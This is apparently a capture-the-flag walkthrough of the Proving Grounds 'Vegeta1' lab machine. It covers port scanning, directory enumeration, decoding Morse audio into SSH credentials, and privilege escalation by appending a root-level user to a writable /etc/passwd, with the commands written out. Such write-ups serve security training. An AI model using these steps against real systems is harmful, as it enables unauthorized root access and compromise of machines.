Vegeta1 Writeup - Proving Grounds

Easy Linux

Proving Grounds Discuss on Discord

Last updated May 10, 2026 • 4 min read

Joshua

HackIndex Creator

Reconnaissance

We start the box with a full Nmap scan with:

┌──(kali㉿kali)-[~]

└─$ scan_tcp_full $TARGET_IP

[+] Discovering all open TCP ports...
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 20:28 +0100
Nmap scan report for $TARGET_IP
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 9.32 seconds
[+] Parsing open TCP ports...
[+] Running scripts & versions on TCP ports: 22,80
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 20:28 +0100
Nmap scan report for $TARGET_IP
Host is up (0.019s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 1f:31:30:67:3f:08:30:2e:6d:ae:e3:20:9e:bd:6b:ba (RSA)
|   256 7d:88:55:a8:6f:56:c8:05:a4:73:82:dc:d8:db:47:59 (ECDSA)
|_  256 cc:de:de:4e:84:a8:91:f5:1a:d6:d2:a6:2e:9e:1c:e0 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.16 seconds

Doing some quick checks at http://$TARGET_IP/robots.txt, reveals us:

*
/find_me

Enumeration

Doing a directory on this web app reveals us:

┌──(kali㉿kali)-[~]

└─$ gobuster -t 100 dir -e -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://$TARGET_IP -x php

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://$TARGET_IP
[+] Threads:        100
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2020/07/19 21:13:53 Starting gobuster
===============================================================
http://$TARGET_IP/login.php (Status: 200)
http://$TARGET_IP/img (Status: 301)
http://$TARGET_IP/image (Status: 301)
http://$TARGET_IP/admin (Status: 301)
http://$TARGET_IP/manual (Status: 301)
http://$TARGET_IP/server-status (Status: 403)
http://$TARGET_IP/bulma (Status: 301)
===============================================================
2020/07/19 21:19:10 Finished
===============================================================

The /bulma folder reveals us hahahaha.wav which we download like:

┌──(kali㉿kali)-[~]

└─$ curl http://$TARGET_IP/bulma/hahahaha.wav -o hahahaha.wav

  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100 230.5k 100 230.5k   0      0  1.23M      0                              0

Listening to this audio file reveals its morse code which we can decode like:

┌──(kali㉿kali)-[~]

└─$ multimon-ng -t wav -a MORSE_CW hahahaha.wav

multimon-ng 1.3.1
  (C) 1996/1997 by Tom Sailer HB9JNX/AE4WA
  (C) 2012-2024 by Elias Oenal
Available demodulators: POCSAG512 POCSAG1200 POCSAG2400 FLEX FLEX_NEXT EAS UFSK1200 CLIPFSK FMSFSK AFSK1200 AFSK2400 AFSK2400_2 AFSK2400_3 HAPN4800 FSK9600 DTMF ZVEI1 ZVEI2 ZVEI3 DZVEI PZVEI EEA EIA CCIR MORSE_CW DUMPCSV X10 SCOPE
Enabled demodulators: MORSE_CW
USER : TRUNKS PASSWORD : US3R(S IN DOLLARS SYMBOL

This indicates that trunks user has password u$3r.

Initial Access

When we use these credentials with SSH we get server access:

┌──(kali㉿kali)-[~]

└─$ ssh trunks@$TARGET_IP

Warning: Permanently added '$TARGET_IP' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
trunks@$TARGET_IP's password: 
Linux Vegeta 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
trunks@Vegeta:~$ pwd
/home/trunks
trunks@Vegeta:~$ cat local.txt 
[HIDDEN]

After looking around on the users his account some information can be found in .bash_history:

trunks@Vegeta $ cat .bash_history

perl -le ‘print crypt(“Password@973″,”addedsalt”)’
perl -le 'print crypt("Password@973","addedsalt")'
echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd[/sh]
echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
ls
su Tom
ls -la
cat .bash_history 
sudo apt-get install vim
apt-get install vim
su root
cat .bash_history 
exit

This shows us the user has been writing content to the /etc/passwd file.

Privilege Escalation

We can test if we still have access to write to /etc/passwd like:

trunks@Vegeta $ test -w /etc/passwd

trunks@Vegeta $ echo $?

Showing us a 0 for success. This reveals to us that we can write to the /ect/passwd file.

When we rerun the previous commands from .bash_history we can login to Tom his account and read the /root/proof.txt:

trunks@Vegeta $ echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd

trunks@Vegeta $ su Tom

Password: Password@973

root@Vegeta # cat /root/proof.txt

[HIDDEN]